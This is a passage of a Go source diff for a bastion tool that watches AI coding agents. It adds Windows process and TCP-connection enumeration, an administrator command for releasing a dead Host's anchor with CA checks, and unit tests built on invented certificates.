t.Fatal("a failed walk must not claim the walk happened")
}
if _, present := m["agent_scan"]; !present {
t.Fatal("the enumerator kind must still travel: the failure is this beat's, not the platform's")
}
// The same box, the walk working: the key travels, as a list. (Not
// asserted empty — the connection scan is a second enumerator and on a
// live box it still finds model clients when the process map is empty.)
// Absent and present are the two answers, and they must stay two.
scanProcessesFn = func() (map[int]agentObs, error) { return map[int]agentObs{}, nil }
m = beat()
if _, ok := m["agents"].([]any); !ok {
t.Fatalf("a walk that happened must travel as a list, got %T %v", m["agents"], m["agents"])
}
// ...and says so: the host clears a containment only on a beat that
// carries this, so a box that cannot say it (an older build) holds.
if v, _ := m["agent_scan_ok"].(bool); !v {
t.Fatalf("a walk that happened must travel with agent_scan_ok=true, got %v", m["agent_scan_ok"])
}
}
// observedAgents — what the kill guard, the sanction page and the policy
// census consult — reads a failed walk as nothing observed: a box that cannot
// see must not kill on belief.
func TestAFailedWalkObservesNothingForTheGuard(t *testing.T) {
prev := scanProcessesFn
t.Cleanup(func() { scanProcessesFn = prev })
scanProcessesFn = func() (map[int]agentObs, error) { return nil, errors.New("boom") }
got, err := observedAgents()
if err == nil || len(got) != 0 {
t.Fatalf("a failed walk observed %v with err=%v — the seam must hand the error on", got, err)
}
if got := observedAgentMap(); len(got) != 0 {
t.Fatalf("the guard's map was %v after a failed walk", got)
}
// The error wins over anything that came back beside it: a seam stub (or
// a future enumerator) handing a partial list WITH an error must not have
// that list believed by the thing that kills.
prevObs := observedAgents
t.Cleanup(func() { observedAgents = prevObs })
observedAgents = func() ([]agentObs, error) {
return []agentObs{{PID: 4242, Kind: kindAgent, Signature: "claude-code"}}, errors.New("partial walk")
}
if got := observedAgentMap(); len(got) != 0 {
t.Fatalf("a list that came with an error was believed by the guard: %v", got)
}
}
+530
View File
@@ -0,0 +1,530 @@
//go:build windows
package main
import (
"encoding/binary"
"errors"
"fmt"
"os"
"strings"
"sync"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
// Windows enumeration for the observe plane.
//
// This is the gap that mattered most: the bastion already SHIPS a Windows
// binary and enforces its grants there, but both enumerators were /proc and
// `ss`, so a Windows box observed nothing at all while reporting healthy. On
// the fleets where "we have machines we have no visibility of" is the actual
// problem, those machines are overwhelmingly Windows.
//
// Nothing here is a new dependency: golang.org/x/sys was already in the module
// graph, and every struct layout below is taken from ITS definitions via
// unsafe.Offsetof rather than hardcoded — so a layout change upstream moves
// our offsets with it instead of silently corrupting a read.
//
// Two enumerators:
//
// processes CreateToolhelp32Snapshot, then the PEB for the command line.
// Toolhelp gives the image name only, and on Windows the agent
// worth catching (claude-code, an npm package) runs as node.exe —
// so without the command line the common case is invisible.
// connections GetExtendedTcpTable (iphlpapi), IPv4 and IPv6. Deliberately
// NOT `netstat -ano`: netstat's STATE column is localized, so
// parsing it would silently find nothing on a non-English
// Windows. The API returns a numeric state instead.
//
// Every per-process read is best-effort. Reading another process's memory
// needs rights the bastion may not hold (a process of another user, or an
// elevated one, when the bastion is not itself elevated). A refusal yields an
// empty command line or delegation tag, which is the SAME conservative outcome
// as Linux when /proc/PID/environ is unreadable: the agent is still observed,
// and an unreadable tag reads as unrequested, which surfaces it rather than
// hiding it.
const (
agentScanSupported = true
agentScanKind = "toolhelp+iphlpapi"
)
// Offsets are derived from the x/sys/windows struct definitions, never written
// down as literals: PEB.ProcessParameters, RTL_USER_PROCESS_PARAMETERS's
// CommandLine and Environment, and NTUnicodeString.Buffer.
var (
_peb windows.PEB
_rupp windows.RTL_USER_PROCESS_PARAMETERS
_ntus windows.NTUnicodeString
offPEBProcessParameters = unsafe.Offsetof(_peb.ProcessParameters)
offRUPPCommandLine = unsafe.Offsetof(_rupp.CommandLine)
offRUPPEnvironment = unsafe.Offsetof(_rupp.Environment)
offNTUSBuffer = unsafe.Offsetof(_ntus.Buffer)
ptrSize = int(unsafe.Sizeof(uintptr(0)))
)
// winEnvReadSizes: the environment block has no length we can read portably
// (the size field's offset moved across Windows releases), so we read a bounded
// window and stop at the block's own double-NUL terminator. A read that runs
// off the end of the mapped region fails wholesale, so we step down rather than
// give up — a 4 KiB environment is still worth having.
var winEnvReadSizes = []int{64 * 1024, 16 * 1024, 4 * 1024}
const winCmdlineMax = 32 * 1024
func readRemote(h windows.Handle, addr uintptr, n int) ([]byte, error) {
if addr == 0 || n <= 0 {
return nil, errors.New("remote read: bad address or size")
}
buf := make([]byte, n)
var got uintptr
if err := windows.ReadProcessMemory(h, addr, &buf[0], uintptr(n), &got); err != nil {
return nil, err
}
if int(got) < n {
return buf[:got], nil
}
return buf, nil
}
func readRemotePtr(h windows.Handle, addr uintptr) (uintptr, error) {
b, err := readRemote(h, addr, ptrSize)
if err != nil || len(b) < ptrSize {
if err == nil {
err = errors.New("remote read: short pointer")
}
return 0, err
}
if ptrSize == 8 {
return uintptr(binary.LittleEndian.Uint64(b)), nil
}
return uintptr(binary.LittleEndian.Uint32(b)), nil
}
// winOpenForRead opens a process for the two rights the reads below need.
// PROCESS_QUERY_LIMITED_INFORMATION (not the full QUERY_INFORMATION) is the
// least privilege that still answers NtQueryInformationProcess.
func winOpenForRead(pid int) (windows.Handle, error) {
return windows.OpenProcess(
windows.PROCESS_QUERY_LIMITED_INFORMATION|windows.PROCESS_VM_READ,
false, uint32(pid))
}
// winImagePath is the KERNEL's record of which file a process runs, from an
// already-open handle: QueryFullProcessImageName, which reads the image path
// the loader recorded rather than anything in the process's own memory.
//
// NOT Toolhelp32's PROCESSENTRY32.ExeFile — the `exe` local in scanProcesses
// below, and origin_windows.go:50. That field is a BASENAME with no directory
// at all, so "claude.exe" under C:\Users\user\AppData\... and "claude.exe"
// dropped in %TEMP% are one string. A basename cannot be an identity.
//
// Flags 0, never PROCESS_NAME_NATIVE: the Win32 form (C:\...) is what a person
// reading the page recognises and what another tool on the box would print.
// The native form names the same file through a device path
// (\Device\HarddiskVolume3\...) whose volume numbering is not stable across
// boots.
//
// Two buffer sizes, the shape winEnvReadSizes above already uses. MAX_PATH is
// not the limit on a machine with long paths enabled, so one try is not enough;
// past 4096 there is no point trying, because sanitizeExePath refuses a path
// that long anyway (agents_parse.go) and the extra pass would only produce a
// value this function throws away. A refusal — a process of another user, or an
// elevated one when the bastion is not — yields "".
func winImagePath(h windows.Handle) string {
for _, n := range []uint32{windows.MAX_PATH, 4096} {
buf := make([]uint16, n)
size := n
err := windows.QueryFullProcessImageName(h, 0, &buf[0], &size)
if err == nil {
return sanitizeExePath(windows.UTF16ToString(buf[:size]))
}
if !errors.Is(err, windows.ERROR_INSUFFICIENT_BUFFER) {
return "" // a refusal, not a small buffer: a bigger one changes nothing
}
}
return ""
}
// winProcessParams walks PBI -> PEB -> ProcessParameters and returns the
// remote address of the parameter block.
func winProcessParams(h windows.Handle) (uintptr, error) {
var pbi windows.PROCESS_BASIC_INFORMATION
if err := windows.NtQueryInformationProcess(h, windows.ProcessBasicInformation,
unsafe.Pointer(&pbi), uint32(unsafe.Sizeof(pbi)), nil); err != nil {
return 0, err
}
peb := uintptr(unsafe.Pointer(pbi.PebBaseAddress))
if peb == 0 {
return 0, errors.New("process params: no PEB")
}
return readRemotePtr(h, peb+offPEBProcessParameters)
}
// winCmdline reads a process's full command line out of its PEB.
func winCmdline(h windows.Handle) string {
params, err := winProcessParams(h)
if err != nil || params == 0 {
return ""
}
us, err := readRemote(h, params+offRUPPCommandLine, int(unsafe.Sizeof(_ntus)))
if err != nil || len(us) < int(offNTUSBuffer)+ptrSize {
return ""
}
length := int(binary.LittleEndian.Uint16(us[0:2])) // bytes, not code units
if length <= 0 {
return ""
}
if length > winCmdlineMax {
length = winCmdlineMax
}
bufAddr, err := readRemotePtr(h, params+offRUPPCommandLine+offNTUSBuffer)
if err != nil || bufAddr == 0 {
return ""
}
raw, err := readRemote(h, bufAddr, length)
if err != nil || len(raw) < 2 {
return ""
}
u16 := make([]uint16, len(raw)/2)
for i := range u16 {
u16[i] = uint16(raw[i*2]) | uint16(raw[i*2+1])<<8
}
return windows.UTF16ToString(u16)
}
// winEnvValue reads one variable out of a process's environment block.
func winEnvValue(h windows.Handle, key string) string {
params, err := winProcessParams(h)
if err != nil || params == 0 {
return ""
}
envAddr, err := readRemotePtr(h, params+offRUPPEnvironment)
if err != nil || envAddr == 0 {
return ""
}
for _, n := range winEnvReadSizes {
raw, err := readRemote(h, envAddr, n)
if err != nil || len(raw) == 0 {
continue
}
if v := parseWinEnvBlock(raw, key); v != "" {
return v
}
// A successful read that simply lacks the key is an answer, not a
// reason to retry smaller.
return ""
}
return ""
}
// winParents caches the pid -> parent map from the last Toolhelp walk, so the
// shared classifier's per-pid parent lookups cost nothing extra.
var winParents = struct {
sync.Mutex
m map[int]int
}{m: map[int]int{}}
func procParent(pid int) int {
winParents.Lock()
defer winParents.Unlock()
return winParents.m[pid]
}
// winCreationTime is when a process started, in 100ns FILETIME units.
func winCreationTime(pid int) (int64, bool) {
h, err := windows.OpenProcess(windows.PROCESS_QUERY_LIMITED_INFORMATION, false, uint32(pid))
if err != nil {
return 0, false
}
defer windows.CloseHandle(h)
var created, exited, kernel, user windows.Filetime
if err := windows.GetProcessTimes(h, &created, &exited, &kernel, &user); err != nil {
return 0, false
}
return created.Nanoseconds(), true
}
// processParents walks a fresh snapshot for the CONTAIN path, and keeps only
// parent links that can be true.
//
// Toolhelp's ParentProcessID is the pid of the process that CREATED this one,
// recorded once and never updated. When that creator exits, Windows recycles
// its pid; a later process (say, the agent being contained) can receive it,
// and every orphan the old creator left behind then reads as the agent's
// child. On a kill path that is an unrelated process terminated. A real
// parent is always older than its child, so a link is kept only when both
// creation times are readable and the child started after the parent; an
// unreadable process contributes no link at all (fail closed: no kill). Linux
// and macOS reparent orphans to a live process and need none of this.
func processParents() map[int]int {
out := map[int]int{}
snap, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)
if err != nil {
return out
}
defer windows.CloseHandle(snap)
var e windows.ProcessEntry32
e.Size = uint32(unsafe.Sizeof(e))
raw := map[int]int{}
for err = windows.Process32First(snap, &e); err == nil; err = windows.Process32Next(snap, &e) {
if pid, pp := int(e.ProcessID), int(e.ParentProcessID); pid > 0 && pp > 0 {
raw[pid] = pp
}
}
created := map[int]int64{}
timeOf := func(pid int) (int64, bool) {
if t, ok := created[pid]; ok {
return t, t > 0
}
t, ok := winCreationTime(pid)
if !ok {
created[pid] = 0
return 0, false
}
created[pid] = t
return t, true
}
for pid, pp := range raw {
ct, okc := timeOf(pid)
pt, okp := timeOf(pp)
if okc && okp && ct >= pt {
out[pid] = pp
}
}
winParents.Lock()
winParents.m = raw // classification (not killing) may use the raw links
winParents.Unlock()
return out
}
// scanProcesses: an error is a snapshot that did not happen (Toolhelp can
// fail transiently), never an empty box; the heartbeat withholds `agents`.
func scanProcesses() (map[int]agentObs, error) {
out := map[int]agentObs{}
snap, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)
if err != nil {
return nil, fmt.Errorf("process snapshot: %w", err)
}
defer windows.CloseHandle(snap)
var e windows.ProcessEntry32
e.Size = uint32(unsafe.Sizeof(e))
self := os.Getpid()
parents := map[int]int{}
defer func() {
winParents.Lock()
winParents.m = parents
winParents.Unlock()
}()
// The loop ends on ERROR_NO_MORE_FILES; any other error — Process32First
// refusing a snapshot it just handed out — is a walk that did not happen.
for err = windows.Process32First(snap, &e); err == nil; err = windows.Process32Next(snap, &e) {
pid := int(e.ProcessID)
if pp := int(e.ParentProcessID); pid > 0 && pp > 0 {
parents[pid] = pp
}
if pid <= 0 || pid == self {
continue
}
exe := windows.UTF16ToString(e.ExeFile[:])
base := binBase(exe)
_, direct := agentBinaries[base]
_, autoDirect := automationBinaries[base]
if !direct && !autoDirect && !interpreters[base] {
continue // not a candidate: never pay for a memory read
}
// argv[0] comes from Toolhelp (always right); the raw command line is
// appended as one element purely so the substring rules can see it.
// No tokenizing: Windows command lines are a single quoted string, and
// splitting one on spaces mangles "C:\Program Files\..." into a
// basename that matches nothing.
// ONE handle for all three reads. Opening the process per field cost
// three OpenProcess/CloseHandle round trips for every candidate on
// every beat, and could even disagree with itself if the pid was
// recycled between them.
argv := []string{exe}
cmdline, user, token, image := "", "", "", ""
if h, herr := winOpenForRead(pid); herr == nil {
cmdline = winCmdline(h)
user = winTokenUser(h)
token = winAgentToken(h)
image = winImagePath(h)
windows.CloseHandle(h)
} else if h, herr := windows.OpenProcess(
windows.PROCESS_QUERY_LIMITED_INFORMATION, false, uint32(pid)); herr == nil {
// The image path needs strictly LESS than the reads above:
// QueryFullProcessImageName takes QUERY_LIMITED_INFORMATION alone,
// while the PEB walk also needs VM_READ. So a process whose memory
// this bastion may not read can still say which FILE it is running —
// and that is the difference between an observation the user can
// mark as theirs and one they cannot (sanction.go refuses to mark an
// observation with no path). Without this branch, every process that
// refused the combined open would be permanently unsanctionable.
image = winImagePath(h)
windows.CloseHandle(h)
}
if cmdline != "" {
argv = append(argv, cmdline)
}
sig, auto, ok := matchSignature(argv)
if !ok {
continue
}
shown := cmdline
if shown == "" {
shown = exe
}
out[pid] = agentObs{PID: pid, User: user, Signature: sig,
Cmdline: truncate(shown, 200), Exe: image,
DelegationToken: token, raw: shown, automation: auto}
}
if !errors.Is(err, windows.ERROR_NO_MORE_FILES) {
return nil, fmt.Errorf("process walk: %w", err)
}
return out, nil
}
// ── connections: GetExtendedTcpTable ────────────────────────────────────────
var (
modIphlpapi = windows.NewLazySystemDLL("iphlpapi.dll")
procGetExtendedTcpTable = modIphlpapi.NewProc("GetExtendedTcpTable")
)
const (
winAFInet = 2 // AF_INET
winAFInet6 = 23 // AF_INET6
// TCP_TABLE_OWNER_PID_CONNECTIONS — connected sockets with their owning pid.
winTCPTableOwnerPIDConnections = 4
winErrInsufficientBuffer = 122
)
// extendedTCPTable fetches the owner-pid TCP table for one address family.
// Two-pass sizing, with a couple of retries because the table can grow between
// the sizing call and the read.
func extendedTCPTable(af uint32) ([]byte, error) {
var size uint32
r, _, _ := procGetExtendedTcpTable.Call(0, uintptr(unsafe.Pointer(&size)), 0,
uintptr(af), winTCPTableOwnerPIDConnections, 0)
if r != 0 && r != winErrInsufficientBuffer {
return nil, syscall.Errno(r)
}
for attempt := 0; attempt < 3; attempt++ {
if size == 0 {
return nil, nil
}
buf := make([]byte, size)
r, _, _ = procGetExtendedTcpTable.Call(uintptr(unsafe.Pointer(&buf[0])),
uintptr(unsafe.Pointer(&size)), 0, uintptr(af), winTCPTableOwnerPIDConnections, 0)
if r == 0 {
return buf, nil
}
if r != winErrInsufficientBuffer {
return nil, syscall.Errno(r)
}
// size now holds the larger requirement; loop and try again.
}
return nil, errors.New("GetExtendedTcpTable: table kept growing")
}
func scanConnections() []connObs {
self := os.Getpid()
conns := []connObs{}
for _, fam := range []struct {
af uint32
v6 bool
}{{winAFInet, false}, {winAFInet6, true}} {
buf, err := extendedTCPTable(fam.af)
if err != nil || len(buf) == 0 {
continue // one family failing must not lose the other
}
conns = append(conns, parseTCPTable(buf, fam.v6, self)...)
}
return conns
}
// ── per-process detail ──────────────────────────────────────────────────────
// winTokenUser resolves the owner of an ALREADY-OPEN process handle, so a
// caller holding one handle can read every field from it.
func winTokenUser(h windows.Handle) string {
var tok windows.Token
if err := windows.OpenProcessToken(h, windows.TOKEN_QUERY, &tok); err != nil {
return ""
}
defer tok.Close()
tu, err := tok.GetTokenUser()
if err != nil || tu.User.Sid == nil {
return ""
}
account, domain, _, err := tu.User.Sid.LookupAccount("")
if err != nil {
return tu.User.Sid.String()
}
if domain != "" {
return domain + `\` + account
}
return account
}
func procUser(pid int) string {
h, err := winOpenForRead(pid)
if err != nil {
return ""
}
defer windows.CloseHandle(h)
return winTokenUser(h)
}
func procCmdline(pid int) string {
h, err := winOpenForRead(pid)
if err != nil {
return ""
}
defer windows.CloseHandle(h)
return truncate(strings.TrimSpace(winCmdline(h)), 200)
}
// procExe is the KERNEL's executable path for one pid. It opens with
// QUERY_LIMITED_INFORMATION alone — the least right that answers
// QueryFullProcessImageName, and less than winOpenForRead asks for — so a
// process whose memory is closed to this bastion still reports which file it
// runs. "" when even that handle is refused.
func procExe(pid int) string {
h, err := windows.OpenProcess(windows.PROCESS_QUERY_LIMITED_INFORMATION, false, uint32(pid))
if err != nil {
return ""
}
defer windows.CloseHandle(h)
return winImagePath(h)
}
// winAgentToken reads the delegation tag out of an already-open process
// handle, under either accepted name. One handle, both names: the environment
// block is read per call, and re-opening the process for the second name could
// land on a recycled pid.
func winAgentToken(h windows.Handle) string {
for _, name := range agentTokenEnvNames {
if tok := winEnvValue(h, name); tok != "" {
return tok
}
}
return ""
}
// procEnvToken reads the host-issued delegation tag (PRIVATAE_AGENT_TOKEN, or
// its older name; see agentTokenEnvNames) from the agent's environment block.
func procEnvToken(pid int) string {
h, err := winOpenForRead(pid)
if err != nil {
return ""
}
defer windows.CloseHandle(h)
return winAgentToken(h)
}
+1308
View File
File diff suppressed because it is too large Load Diff
+211
View File
@@ -0,0 +1,211 @@
package main
// anchor_release.go — `privatae-bastion release-anchor --host <name>`: let go
// of an anchor whose Host is gone.
//
// THE CASE. A Host that runs on this machine is deleted with its data and set
// up again (`npx cseries uninstall --delete-data`, then `npx cseries`). The new
// Host has a new CA and a new signing key. The bastion, anchored to the old
// one, cannot take it:
//
// - `pair --replace` under another CA is refused (pair_tcp.go), rightly: a
// Host keeps its CA for life;
// - the anchor cannot be unpaired (config.go unpairHost);
// - a new pairing waits, pending, for the old anchor to approve it (pair.go);
// - rotating the anchor needs the old anchor's consent or 14 days of its
// silence (anchor.go rotationPermitted), and the old one is gone.
//
// So the machine's administrator says so. This command, with machine
// authority:
//
// 0. checks that the Host is gone: --host-ca names the CA the new Host
// brought, and it is refused when that is the CA this box pinned for the
// host (releaseCARefusal). The same CA is the same Host, alive. Only
// --force, taken at a terminal and never from an installer, skips this;
// 1. drops the anchor, if it is the named host (anchor.json and any rotation
// consent left for it). A box anchored to another host is refused: naming
// the host is the check that this is the anchor the administrator means;
// 2. unpairs that host;
// 3. sets its DCN state aside (dcn/<host> → dcn/<host>.released-<when>): the
// signing key pinned for the old Host, the second factor enrolled for it
// and the grants it signed. A new pairing under the same name would
// otherwise inherit that pin, and every grant the new Host signs would be
// refused as a key mismatch. Nothing is deleted.
//
// After it the box is unanchored, and a networked box with no anchor serves
// nothing (anchor.go), so the next steps belong in the same breath: `pair` the
// new Host, then `claim-anchor`.
//
// It adds no power. An administrator could already delete anchor.json by hand
// (anchor.go header); this does it with the checks above, and says what it did.
// Approval device keys pinned on the old anchor go with anchor.json and are
// pinned again with pin-device. Running it again finds nothing left and
// succeeds, so an installer can retry a step that stopped half-way.
import (
"errors"
"fmt"
"io/fs"
"os"
"strings"
"time"
)
// releaseConsole is a seam so the suite drives --force on any machine; nothing
// outside tests assigns it.
var releaseConsole = stdioIsConsole
// releaseCARefusal says why the Host being released is not shown to be gone,
// or "" when it is: the CA its replacement brought (newCA, from --host-ca)
// must differ from the one this box pinned for it. The same CA is the same
// Host, alive, and releasing it would drop a live anchor and set aside its key
// pin and factor for nothing. A pin this box does not hold cannot be compared,
// so that too is refused; --force, at a terminal, is the administrator saying
// they know.
func releaseCARefusal(name, pinned, newCA string) string {
switch {
case newCA == "":
return "name the new Host's CA with --host-ca <pem file>: release-anchor lets go only of a Host whose CA has changed (its data was deleted)"
case strings.TrimSpace(pinned) == "":
return "this box pinned no Host CA for " + name + ", so a changed CA cannot be shown"
case sameCAs(pinned, newCA):
return "the CA given with --host-ca is the one " + name + " is paired with, so that Host is not gone"
}
return ""
}
func cmdReleaseAnchor(host, hostCAFile string, force bool) error {
if err := requireMachineAuthority("release-anchor"); err != nil {
return err
}
if !validHostName(host) {
return fmt.Errorf("%q is not a host name", host)
}
// --force skips the CA check, so it is taken only from a person at a
// terminal. An installer runs its commands with their output captured and
// never passes it.
if force && !releaseConsole() {
return errors.New("release-anchor --force is taken only in an Administrator terminal; this one's input or output " +
"goes to a file or a pipe — nothing was released")
}
newCA := ""
if hostCAFile != "" {
ca, err := loadHostCA(hostCAFile)
if err != nil {
return err
}
newCA = ca
}
if err := singletonGuardForPair(); err != nil {
return err
}
cfgs, err := loadPairings()
if err != nil {
return err
}
// The exact name (or its handle), never a prefix: this removes a pairing.
cfg := pairingFor(cfgs, host)
name := host
if cfg != nil {
name = cfg.HostName
}
// Is there anything to release, and is the Host it belongs to gone? Both
// before anything changes.
a := currentAnchor()
if a != nil && a.AnchorHost != name {
return fmt.Errorf("this box is anchored to %s, not %s — release-anchor names the anchor it releases", a.AnchorHost, name)
}
if !force && (a != nil || cfg != nil) {
pinned := ""
if cfg != nil {
pinned = cfg.CACert
}
if why := releaseCARefusal(name, pinned, newCA); why != "" {
return fmt.Errorf("%s — nothing was released. If the Host really is gone, run from an Administrator terminal: "+
"privatae-bastion release-anchor --host %s --force", why, name)
}
}
// 1. The anchor, if it is this host.
released := false
if a != nil {
devices := len(deviceKeys())
anchorMu.Lock()
err := removeAnchorFiles()
anchorMu.Unlock()
if err != nil {
return fmt.Errorf("could not release the anchor: %w", err)
}
released = true
fmt.Printf("released the anchor (%s)\n", name)
if devices > 0 {
fmt.Printf(" %d approval device key(s) were pinned on it; pin them again after claim-anchor (privatae-bastion pin-device <key>)\n", devices)
}
} else if f, err := loadAnchorFile(); err == nil && f != nil && f.AnchorHost != "" && f.AnchorHost != name {
// An anchor file that does not verify is no anchor, but one naming
// another host is still not this command's to remove.
return fmt.Errorf("this box's anchor file names %s, not %s — release-anchor names the anchor it releases", f.AnchorHost, name)
}
// 2 and 3. The pairing, and its DCN state set aside.
if cfg == nil {
if !released {
fmt.Printf("nothing to release: %s is neither this box's anchor nor one of its pairings\n", name)
}
return nil
}
dcn := cfg.DCNDir
if dcn == "" {
if d, err := configDirPath(); err == nil {
dcn = d + string(os.PathSeparator) + "dcn" + string(os.PathSeparator) + cfg.HostName
}
}
if _, err := unpairHost(cfg.HostName); err != nil {
return fmt.Errorf("released the anchor, but could not unpair %s: %w", cfg.HostName, err)
}
fmt.Printf("unpaired %s\n", cfg.HostName)
if dcn != "" {
aside, err := setDCNStateAside(dcn, time.Now())
switch {
case err != nil:
return fmt.Errorf("unpaired %s, but could not set its DCN state aside (%s): %w — move it away by hand before pairing the new Host", cfg.HostName, dcn, err)
case aside != "":
fmt.Printf(" its key pin, second factor and grants are kept, set aside, in %s\n", aside)
}
}
fmt.Println(" Next: pair the new Host, then `privatae-bastion claim-anchor`. Until then this box serves nothing.")
return nil
}
// removeAnchorFiles removes anchor.json and a consent left for rotating it.
// The caller holds anchorMu.
func removeAnchorFiles() error {
p, err := anchorPath()
if err != nil {
return err
}
if err := os.Remove(p); err != nil && !errors.Is(err, fs.ErrNotExist) {
return err
}
if c, err := anchorConsentPath(); err == nil {
_ = os.Remove(c)
}
return nil
}
// setDCNStateAside renames a released pairing's DCN directory out of the way of
// a new pairing under the same name. "" when there was none.
func setDCNStateAside(dir string, now time.Time) (string, error) {
if _, err := os.Lstat(dir); err != nil {
if errors.Is(err, fs.ErrNotExist) {
return "", nil
}
return "", err
}
aside := dir + ".released-" + now.UTC().Format("20060102T150405Z")
if err := os.Rename(dir, aside); err != nil {
return "", err
}
return aside, nil
}
+242
View File
@@ -0,0 +1,242 @@
//go:build !windows
// Uses setupBox, withMarkerAt and withMachineAuthority, which live behind
// //go:build !windows (see anchor_test.go's header).
package main
// release-anchor (anchor_release.go): a Host deleted with its data and set up
// again can be paired and anchored on this box, through the administrator,
// and through nobody else. Every value here is invented.
import (
"crypto/ecdsa"
"crypto/elliptic"
"crypto/rand"
"crypto/x509"
"crypto/x509/pkix"
"encoding/base64"
"encoding/pem"
"math/big"
"os"
"path/filepath"
"strings"
"testing"
"time"
)
// releaseTestCA is an invented self-signed CA certificate, PEM.
func releaseTestCA(t *testing.T, cn string) string {
t.Helper()
key, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
if err != nil {
t.Fatal(err)
}
tpl := &x509.Certificate{SerialNumber: big.NewInt(1), Subject: pkix.Name{CommonName: cn},
NotBefore: time.Now().Add(-time.Hour), NotAfter: time.Now().Add(time.Hour),
IsCA: true, BasicConstraintsValid: true, KeyUsage: x509.KeyUsageCertSign}
der, err := x509.CreateCertificate(rand.Reader, tpl, tpl, &key.PublicKey, key)
if err != nil {
t.Fatal(err)
}
return string(pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: der}))
}
func releaseTestCAFile(t *testing.T, pemText string) string {
t.Helper()
p := filepath.Join(t.TempDir(), "host-ca.pem")
if err := os.WriteFile(p, []byte(pemText), 0o600); err != nil {
t.Fatal(err)
}
return p
}
// releaseTestBox is a box anchored to tAnchor, which pinned oldCA, with the
// state the dead Host left. It returns that state's directory and oldCA.
func releaseTestBox(t *testing.T) (dcn, oldCA string) {
t.Helper()
setupBox(t)
// A marker of this test's own: the machine-scoped one belongs to whatever
// bastion is installed where the suite runs (TestClaimAnchorWalls says why).
withMarkerAt(t, filepath.Join(t.TempDir(), "machine.json"))
prev := unpairNeedsRoot
unpairNeedsRoot = func() bool { return false }
t.Cleanup(func() { unpairNeedsRoot = prev })
prevConsole := releaseConsole
releaseConsole = func() bool { return false }
t.Cleanup(func() { releaseConsole = prevConsole })
cfgs, err := loadPairings()
if err != nil {
t.Fatal(err)
}
c := pairingFor(cfgs, tAnchor)
oldCA = releaseTestCA(t, "old host CA (invented)")
c.CACert = oldCA
if err := c.save(); err != nil {
t.Fatal(err)
}
dcn = c.dcnDir()
// What the dead Host left: its pinned signing key and the factor enrolled for it.
if err := os.WriteFile(filepath.Join(dcn, "dcn.json"), []byte(`{"verify_pubkey":"`+base64.StdEncoding.EncodeToString(make([]byte, 32))+`"}`), 0o600); err != nil {
t.Fatal(err)
}
if err := stepupSave(dcn, &stepupFile{SecretB32: pipeTestSecret, EnrolledAt: "2026-10-01T00:00:00Z", LastCounter: -1}); err != nil {
t.Fatal(err)
}
return dcn, oldCA
}
// stillAnchoredAndPaired fails the test unless nothing was released.
func stillAnchoredAndPaired(t *testing.T, dcn, why string) {
t.Helper()
if a := currentAnchor(); a == nil || a.AnchorHost != tAnchor {
t.Fatalf("%s: the anchor was dropped", why)
}
cfgs, _ := loadPairings()
if pairingFor(cfgs, tAnchor) == nil {
t.Fatalf("%s: the Host was unpaired", why)
}
if !fileExists(filepath.Join(dcn, "stepup.json")) {
t.Fatalf("%s: the Host's factor was set aside", why)
}
}
func TestReleaseAnchorRefusesAHostWhoseCAIsUnchanged(t *testing.T) {
dcn, oldCA := releaseTestBox(t)
withMachineAuthority(t, true)
// The same CA is the same Host, alive: refused, and nothing changes.
err := cmdReleaseAnchor(tAnchor, releaseTestCAFile(t, oldCA), false)
if err == nil || !strings.Contains(err.Error(), "is not gone") {
t.Fatalf("the same Host's CA must be refused: %v", err)
}
stillAnchoredAndPaired(t, dcn, "same CA")
// No CA at all: nothing shows the Host is gone.
if err := cmdReleaseAnchor(tAnchor, "", false); err == nil || !strings.Contains(err.Error(), "--host-ca") {
t.Fatalf("a release with no new CA must be refused: %v", err)
}
stillAnchoredAndPaired(t, dcn, "no CA")
// --force is for a person at a terminal; an installer's captured output is not one.
if err := cmdReleaseAnchor(tAnchor, "", true); err == nil || !strings.Contains(err.Error(), "Administrator terminal") {
t.Fatalf("--force off a console must be refused: %v", err)
}
stillAnchoredAndPaired(t, dcn, "--force off a console")
// At a terminal, --force releases even the same CA.
releaseConsole = func() bool { return true }
if err := cmdReleaseAnchor(tAnchor, releaseTestCAFile(t, oldCA), true); err != nil {
t.Fatalf("--force at a terminal: %v", err)
}
if currentAnchor() != nil {
t.Fatal("--force at a terminal did not release the anchor")
}
}
func TestReleaseAnchorRefusesWhenThisBoxPinnedNoCA(t *testing.T) {
dcn, _ := releaseTestBox(t)
withMachineAuthority(t, true)
cfgs, _ := loadPairings()
c := pairingFor(cfgs, tAnchor)
c.CACert = ""
if err := c.save(); err != nil {
t.Fatal(err)
}
err := cmdReleaseAnchor(tAnchor, releaseTestCAFile(t, releaseTestCA(t, "new host CA (invented)")), false)
if err == nil || !strings.Contains(err.Error(), "pinned no Host CA") {
t.Fatalf("with no pin to compare, only --force releases: %v", err)
}
stillAnchoredAndPaired(t, dcn, "no pin")
}
func TestAReinstalledHostCannotPairAnAnchoredBoxWithoutTheRelease(t *testing.T) {
releaseTestBox(t)
cfgs, _ := loadPairings()
// The same name: refused as already paired, and --replace keeps the old CA
// (pair_tcp.go), so the new Host has no way in.
if _, _, err := pairPrecheck(cfgs, handleOf(tAnchor), false, false); err == nil {
t.Fatal("a second pairing under the anchor's name was let through")
}
// Another name: it would wait, pending, for an anchor that is gone.
if _, state, err := pairPrecheck(cfgs, "fresh-host", false, false); err != nil || state != pairingPending {
t.Fatalf("a new Host on an anchored box waits for the anchor: state %q err %v", state, err)
}
// And the anchor cannot be unpaired.
if _, err := unpairHost(tAnchor); err == nil {
t.Fatal("the anchor was unpaired")
}
}
func TestReleaseAnchorNeedsMachineAuthorityAndTheAnchorsName(t *testing.T) {
releaseTestBox(t)
newCA := releaseTestCAFile(t, releaseTestCA(t, "new host CA (invented)"))
withMachineAuthority(t, false)
if err := cmdReleaseAnchor(tAnchor, newCA, false); err == nil || !strings.Contains(err.Error(), "machine authority") {
t.Fatalf("release without machine authority: %v", err)
}
withMachineAuthority(t, true)
writePairing(t, tMember)
if err := cmdReleaseAnchor(tMember, newCA, false); err == nil || !strings.Contains(err.Error(), "anchored to "+tAnchor) {
t.Fatalf("releasing a host that is not the anchor must be refused: %v", err)
}
if a := currentAnchor(); a == nil || a.AnchorHost != tAnchor {
t.Fatal("a refused release changed the anchor")
}
}
func TestReleaseAnchorLetsANewHostPairAndAnchor(t *testing.T) {
